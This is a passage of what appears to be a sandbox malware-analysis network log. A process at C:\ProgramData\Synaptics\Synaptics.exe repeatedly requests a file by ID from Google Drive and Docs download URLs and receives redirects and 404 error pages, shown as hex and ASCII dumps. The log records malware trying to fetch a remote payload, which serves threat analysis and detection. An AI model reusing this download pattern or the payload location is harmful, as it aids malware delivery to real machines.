ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	49824	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:20 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:20 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:20 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-xvc5n8jXit4dQDT5ka3owg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOi77aBw0WfYKBJk_PpwoGzRxgDacGRA4frwcW2Z4XoDo0R2_LKW6d05FdRQRJdjttmPwj3785KLg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:20 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:20 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 52 2d 6e 56 30 65 35 57 4f 71 43 66 65 4a 39 5a 6c 65 2d 79 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="pR-nV0e5WOqCfeJ9Zle-yw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:20 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	49827	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:21 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:21 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:21 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-mSv_4pYVD2lUHTj3amCtMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nONdGMC0P3pffcVfWACFGERu_eQw8DS1ZStRO9xZld2ceSagMG69zST9MRZEEHasoANmN0RBUcr_g Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:21 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:21 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 2d 41 31 77 36 4a 73 33 49 43 35 79 72 58 64 6b 79 48 49 49 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="W-A1w6Js3IC5yrXdkyHIIw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:21 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	49825	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:21 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-LRet0rDltH8EK2ypq3vSWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	49826	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:21 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yXxVNeOcJc6RhhL-hqzfgA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	49828	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:21 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:22 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:22 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EfoP-WTHkMEyAZmPNelbhQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: AHxI1nNALmtTTRu5H_eUEno1HjINTguxJmBbMLxNuGrtF_27wrFOwe4bqYiYgvYGBpEKnAA8NdJIpqzo7Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:22 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:22 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 5a 4a 62 4d 48 75 6c 4c 34 58 55 62 5a 58 47 66 55 2d 74 56 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="-ZJbMHulL4XUbZXGfU-tVQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:22 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	49829	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:22 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-9NlpCe8KQzAYHOKF0mVXyA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	49830	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:22 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Ex8i2ziLA1Ol9rk3ayzWvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	49831	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:22 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:23 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:22 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-BM6gfpllRjxd-urH5CCr5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nPR1jxQb2Me7BXz6sWy8dhxubRPFNQd10Ts8z9TP3eFlpIMEDNb0Fvi-_aU9i93Esw_E68TVUoemQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:23 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:23 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 39 37 78 34 35 65 30 57 58 4d 68 73 79 42 63 64 64 39 46 36 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 